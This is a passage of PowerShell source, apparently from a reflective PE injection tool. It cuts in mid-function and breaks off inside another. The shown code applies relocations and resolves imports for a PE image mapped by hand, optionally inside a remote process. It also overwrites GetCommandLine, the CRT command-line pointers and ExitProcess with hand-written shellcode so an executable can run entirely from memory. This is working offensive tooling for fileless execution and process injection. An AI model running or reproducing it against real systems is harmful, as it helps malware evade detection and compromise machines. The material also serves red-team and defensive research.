  1506.         elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)
  1507.         {
  1508.             $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle)
  1509.             $AddDifference = $false
  1510.         }
  1511.         elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true)
  1512.         {
  1513.             $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)
  1514.         }
  1515.  
  1516.  
  1517.         [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))
  1518.         while($true)
  1519.         {
  1520.  
  1521.             $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION)
  1522.  
  1523.             if ($BaseRelocationTable.SizeOfBlock -eq 0)
  1524.             {
  1525.                 break
  1526.             }
  1527.  
  1528.             [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress))
  1529.             $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2
  1530.  
  1531.  
  1532.             for($i = 0; $i -lt $NumRelocations; $i++)
  1533.             {
  1534.  
  1535.                 $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))
  1536.                 [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])
  1537.  
  1538.  
  1539.                 [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF
  1540.                 [UInt16]$RelocType = $RelocationInfo -band 0xF000
  1541.                 for ($j = 0; $j -lt 12; $j++)
  1542.                 {
  1543.                     $RelocType = [Math]::Floor($RelocType / 2)
  1544.                 }
  1545.  
  1546.  
  1547.  
  1548.  
  1549.                 if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
  1550.                         -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
  1551.                 {
  1552.  
  1553.                     [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
  1554.                     [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])
  1555.  
  1556.                     if ($AddDifference -eq $true)
  1557.                     {
  1558.                         [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
  1559.                     }
  1560.                     else
  1561.                     {
  1562.                         [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
  1563.                     }
  1564.  
  1565.                     [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
  1566.                 }
  1567.                 elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE)
  1568.                 {
  1569.  
  1570.                     Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo"
  1571.                 }
  1572.             }
  1573.  
  1574.             $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))
  1575.         }
  1576.     }
  1577.  
  1578.  
  1579.     Function Import-DllImports
  1580.     {
  1581.         Param(
  1582.         [Parameter(Position = 0, Mandatory = $true)]
  1583.         [System.Object]
  1584.         $PEInfo,
  1585.  
  1586.         [Parameter(Position = 1, Mandatory = $true)]
  1587.         [System.Object]
  1588.         $Win32Functions,
  1589.  
  1590.         [Parameter(Position = 2, Mandatory = $true)]
  1591.         [System.Object]
  1592.         $Win32Types,
  1593.  
  1594.         [Parameter(Position = 3, Mandatory = $true)]
  1595.         [System.Object]
  1596.         $Win32Constants,
  1597.  
  1598.         [Parameter(Position = 4, Mandatory = $false)]
  1599.         [IntPtr]
  1600.         $RemoteProcHandle
  1601.         )
  1602.  
  1603.         $RemoteLoading = $false
  1604.         if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)
  1605.         {
  1606.             $RemoteLoading = $true
  1607.         }
  1608.  
  1609.         if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
  1610.         {
  1611.             [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
  1612.  
  1613.             while ($true)
  1614.             {
  1615.                 $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
  1616.  
  1617.  
  1618.                 if ($ImportDescriptor.Characteristics -eq 0 `
  1619.                         -and $ImportDescriptor.FirstThunk -eq 0 `
  1620.                         -and $ImportDescriptor.ForwarderChain -eq 0 `
  1621.                         -and $ImportDescriptor.Name -eq 0 `
  1622.                         -and $ImportDescriptor.TimeDateStamp -eq 0)
  1623.                 {
  1624.                     Write-Verbose "Done importing DLL imports"
  1625.                     break
  1626.                 }
  1627.  
  1628.                 $ImportDllHandle = [IntPtr]::Zero
  1629.                 $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))
  1630.                 $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
  1631.  
  1632.                 if ($RemoteLoading -eq $true)
  1633.                 {
  1634.                     $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr
  1635.                 }
  1636.                 else
  1637.                 {
  1638.                     $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath)
  1639.                 }
  1640.  
  1641.                 if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero))
  1642.                 {
  1643.                     throw "Error importing DLL, DLLName: $ImportDllPath"
  1644.                 }
  1645.  
  1646.  
  1647.                 [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
  1648.                 [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics)
  1649.                 [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
  1650.  
  1651.                 while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
  1652.                 {
  1653.                     $LoadByOrdinal = $false
  1654.                     [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero
  1655.  
  1656.  
  1657.  
  1658.                     [IntPtr]$NewThunkRef = [IntPtr]::Zero
  1659.                     if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0)
  1660.                     {
  1661.                         [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff
  1662.                         $LoadByOrdinal = $true
  1663.                     }
  1664.                     elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0)
  1665.                     {
  1666.                         [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff
  1667.                         $LoadByOrdinal = $true
  1668.                     }
  1669.                     else
  1670.                     {
  1671.                         [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
  1672.                         $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
  1673.                         $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
  1674.                         $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName)
  1675.                     }
  1676.  
  1677.                     if ($RemoteLoading -eq $true)
  1678.                     {
  1679.                         [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal
  1680.                     }
  1681.                     else
  1682.                     {
  1683.                         [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr)
  1684.                     }
  1685.  
  1686.                     if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
  1687.                     {
  1688.                         if ($LoadByOrdinal)
  1689.                         {
  1690.                             Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath"
  1691.                         }
  1692.                         else
  1693.                         {
  1694.                             Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
  1695.                         }
  1696.                     }
  1697.  
  1698.                     [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)
  1699.  
  1700.                     $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
  1701.                     [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
  1702.                     [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
  1703.  
  1704.  
  1705.  
  1706.                     if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero))
  1707.                     {
  1708.                         [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr)
  1709.                         $ProcedureNamePtr = [IntPtr]::Zero
  1710.                     }
  1711.                 }
  1712.  
  1713.                 $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
  1714.             }
  1715.         }
  1716.     }
  1717.  
  1718.     Function Get-VirtualProtectValue
  1719.     {
  1720.         Param(
  1721.         [Parameter(Position = 0, Mandatory = $true)]
  1722.         [UInt32]
  1723.         $SectionCharacteristics
  1724.         )
  1725.  
  1726.         $ProtectionFlag = 0x0
  1727.         if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)
  1728.         {
  1729.             if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
  1730.             {
  1731.                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1732.                 {
  1733.                     $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE
  1734.                 }
  1735.                 else
  1736.                 {
  1737.                     $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ
  1738.                 }
  1739.             }
  1740.             else
  1741.             {
  1742.                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1743.                 {
  1744.                     $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY
  1745.                 }
  1746.                 else
  1747.                 {
  1748.                     $ProtectionFlag = $Win32Constants.PAGE_EXECUTE
  1749.                 }
  1750.             }
  1751.         }
  1752.         else
  1753.         {
  1754.             if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
  1755.             {
  1756.                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1757.                 {
  1758.                     $ProtectionFlag = $Win32Constants.PAGE_READWRITE
  1759.                 }
  1760.                 else
  1761.                 {
  1762.                     $ProtectionFlag = $Win32Constants.PAGE_READONLY
  1763.                 }
  1764.             }
  1765.             else
  1766.             {
  1767.                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1768.                 {
  1769.                     $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY
  1770.                 }
  1771.                 else
  1772.                 {
  1773.                     $ProtectionFlag = $Win32Constants.PAGE_NOACCESS
  1774.                 }
  1775.             }
  1776.         }
  1777.  
  1778.         if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
  1779.         {
  1780.             $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE
  1781.         }
  1782.  
  1783.         return $ProtectionFlag
  1784.     }
  1785.  
  1786.     Function Update-MemoryProtectionFlags
  1787.     {
  1788.         Param(
  1789.         [Parameter(Position = 0, Mandatory = $true)]
  1790.         [System.Object]
  1791.         $PEInfo,
  1792.  
  1793.         [Parameter(Position = 1, Mandatory = $true)]
  1794.         [System.Object]
  1795.         $Win32Functions,
  1796.  
  1797.         [Parameter(Position = 2, Mandatory = $true)]
  1798.         [System.Object]
  1799.         $Win32Constants,
  1800.  
  1801.         [Parameter(Position = 3, Mandatory = $true)]
  1802.         [System.Object]
  1803.         $Win32Types
  1804.         )
  1805.  
  1806.         for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
  1807.         {
  1808.             [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
  1809.             $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
  1810.             [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)
  1811.  
  1812.             [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
  1813.             [UInt32]$SectionSize = $SectionHeader.VirtualSize
  1814.  
  1815.             [UInt32]$OldProtectFlag = 0
  1816.             Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null
  1817.             $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)
  1818.             if ($Success -eq $false)
  1819.             {
  1820.                 Throw "Unable to change memory protection"
  1821.             }
  1822.         }
  1823.     }
  1824.  
  1825.  
  1826.  
  1827.     Function Update-ExeFunctions
  1828.     {
  1829.         Param(
  1830.         [Parameter(Position = 0, Mandatory = $true)]
  1831.         [System.Object]
  1832.         $PEInfo,
  1833.  
  1834.         [Parameter(Position = 1, Mandatory = $true)]
  1835.         [System.Object]
  1836.         $Win32Functions,
  1837.  
  1838.         [Parameter(Position = 2, Mandatory = $true)]
  1839.         [System.Object]
  1840.         $Win32Constants,
  1841.  
  1842.         [Parameter(Position = 3, Mandatory = $true)]
  1843.         [String]
  1844.         $ExeArguments,
  1845.  
  1846.         [Parameter(Position = 4, Mandatory = $true)]
  1847.         [IntPtr]
  1848.         $ExeDoneBytePtr
  1849.         )
  1850.  
  1851.  
  1852.         $ReturnArray = @()
  1853.  
  1854.         $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  1855.         [UInt32]$OldProtectFlag = 0
  1856.  
  1857.         [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
  1858.         if ($Kernel32Handle -eq [IntPtr]::Zero)
  1859.         {
  1860.             throw "Kernel32 handle null"
  1861.         }
  1862.  
  1863.         [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll")
  1864.         if ($KernelBaseHandle -eq [IntPtr]::Zero)
  1865.         {
  1866.             throw "KernelBase handle null"
  1867.         }
  1868.  
  1869.  
  1870.  
  1871.  
  1872.         $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
  1873.         $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
  1874.  
  1875.         [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
  1876.         [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")
  1877.  
  1878.         if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
  1879.         {
  1880.             throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)"
  1881.         }
  1882.  
  1883.  
  1884.         [Byte[]]$Shellcode1 = @()
  1885.         if ($PtrSize -eq 8)
  1886.         {
  1887.             $Shellcode1 += 0x48
  1888.         }
  1889.         $Shellcode1 += 0xb8
  1890.  
  1891.         [Byte[]]$Shellcode2 = @(0xc3)
  1892.         $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length
  1893.  
  1894.  
  1895.  
  1896.         $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
  1897.         $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
  1898.         $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null
  1899.         $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null
  1900.         $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize)
  1901.         $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize)
  1902.  
  1903.  
  1904.         [UInt32]$OldProtectFlag = 0
  1905.         $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1906.         if ($Success = $false)
  1907.         {
  1908.             throw "Call to VirtualProtect failed"
  1909.         }
  1910.  
  1911.         $GetCommandLineAAddrTemp = $GetCommandLineAAddr
  1912.         Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp
  1913.         $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)
  1914.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
  1915.         $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize
  1916.         Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp
  1917.  
  1918.         $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  1919.  
  1920.  
  1921.  
  1922.         [UInt32]$OldProtectFlag = 0
  1923.         $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1924.         if ($Success = $false)
  1925.         {
  1926.             throw "Call to VirtualProtect failed"
  1927.         }
  1928.  
  1929.         $GetCommandLineWAddrTemp = $GetCommandLineWAddr
  1930.         Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp
  1931.         $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)
  1932.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
  1933.         $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize
  1934.         Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp
  1935.  
  1936.         $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  1937.  
  1938.  
  1939.  
  1940.  
  1941.  
  1942.  
  1943.  
  1944.  
  1945.         $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
  1946.             , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")
  1947.  
  1948.         foreach ($Dll in $DllList)
  1949.         {
  1950.             [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)
  1951.             if ($DllHandle -ne [IntPtr]::Zero)
  1952.             {
  1953.                 [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln")
  1954.                 [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln")
  1955.                 if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero)
  1956.                 {
  1957.                     "Error, couldn't find _wcmdln or _acmdln"
  1958.                 }
  1959.  
  1960.                 $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
  1961.                 $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
  1962.  
  1963.  
  1964.                 $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
  1965.                 $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
  1966.                 $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1967.                 $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1968.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)
  1969.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)
  1970.                 $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)
  1971.                 $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)
  1972.  
  1973.                 $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1974.                 if ($Success = $false)
  1975.                 {
  1976.                     throw "Call to VirtualProtect failed"
  1977.                 }
  1978.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
  1979.                 $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
  1980.  
  1981.                 $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1982.                 if ($Success = $false)
  1983.                 {
  1984.                     throw "Call to VirtualProtect failed"
  1985.                 }
  1986.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)
  1987.                 $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
  1988.             }
  1989.         }
  1990.  
  1991.  
  1992.  
  1993.  
  1994.  
  1995.  
  1996.         $ReturnArray = @()
  1997.         $ExitFunctions = @()
  1998.  
  1999.  
  2000.         [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll")
  2001.         if ($MscoreeHandle -eq [IntPtr]::Zero)
  2002.         {
  2003.             throw "mscoree handle null"
  2004.         }
  2005.         [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess")
  2006.         if ($CorExitProcessAddr -eq [IntPtr]::Zero)
  2007.         {
  2008.             Throw "CorExitProcess address not found"
  2009.         }
  2010.         $ExitFunctions += $CorExitProcessAddr
  2011.  
  2012.  
  2013.         [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess")
  2014.         if ($ExitProcessAddr -eq [IntPtr]::Zero)
  2015.         {
  2016.             Throw "ExitProcess address not found"
  2017.         }
  2018.         $ExitFunctions += $ExitProcessAddr
  2019.  
  2020.         [UInt32]$OldProtectFlag = 0
  2021.         foreach ($ProcExitFunctionAddr in $ExitFunctions)
  2022.         {
  2023.             $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr
  2024.  
  2025.  
  2026.             [Byte[]]$Shellcode1 = @(0xbb)
  2027.             [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
  2028.  
  2029.             if ($PtrSize -eq 8)
  2030.             {
  2031.                 [Byte[]]$Shellcode1 = @(0x48, 0xbb)
  2032.                 [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
  2033.             }
  2034.             [Byte[]]$Shellcode3 = @(0xff, 0xd3)
  2035.             $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length
  2036.  
  2037.             [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread")
  2038.             if ($ExitThreadAddr -eq [IntPtr]::Zero)
  2039.             {
  2040.                 Throw "ExitThread address not found"
  2041.             }
  2042.  
  2043.             $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
  2044.             if ($Success -eq $false)
  2045.             {
  2046.                 Throw "Call to VirtualProtect failed"
  2047.             }
  2048.  
  2049.  
  2050.             $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
  2051.             $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null
  2052.             $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)
  2053.  
  2054.  
  2055.  
  2056.             Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp
  2057.             $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
  2058.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false)
  2059.             $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
  2060.             Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp
  2061.             $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length)
  2062.             [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false)
  2063.             $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
  2064.             Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp
  2065.  
  2066.             $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  2067.         }
  2068.  
  2069.  
  2070.         Write-Output $ReturnArray
  2071.     }
  2072.  
  2073.  
  2074.  
  2075.  
  2076.     Function Copy-ArrayOfMemAddresses
  2077.     {
  2078.         Param(
  2079.         [Parameter(Position = 0, Mandatory = $true)]
  2080.         [Array[]]
  2081.         $CopyInfo,
  2082.  
  2083.         [Parameter(Position = 1, Mandatory = $true)]
  2084.         [System.Object]
  2085.         $Win32Functions,
  2086.  
  2087.         [Parameter(Position = 2, Mandatory = $true)]
  2088.         [System.Object]
  2089.         $Win32Constants
  2090.         )
  2091.  
  2092.         [UInt32]$OldProtectFlag = 0
  2093.         foreach ($Info in $CopyInfo)
  2094.         {
  2095.             $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
  2096.             if ($Success -eq $false)
  2097.             {
